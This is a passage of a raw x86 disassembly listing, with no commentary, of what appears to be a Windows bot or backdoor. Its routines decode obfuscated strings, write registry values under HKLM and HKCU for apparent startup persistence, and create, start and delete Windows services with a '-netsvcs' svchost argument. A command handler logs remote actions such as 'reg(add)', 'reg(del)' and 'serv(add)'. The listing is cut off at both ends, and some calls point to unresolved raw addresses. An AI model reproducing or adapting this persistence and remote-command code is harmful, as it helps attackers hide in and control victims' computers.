var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 29009A8h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 2910000h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		nop
		call	near ptr 27C07F2h
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		call	near ptr 29103E8h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 29107A1h
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29009A8h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 28A0000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		nop
		call	near ptr 29103E8h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2900508h
		nop
		push	esi
		call	near ptr 2900761h
		nop
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29009A8h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 29103E8h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29009A8h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		nop
		call	near ptr 29103E8h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0CFEh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
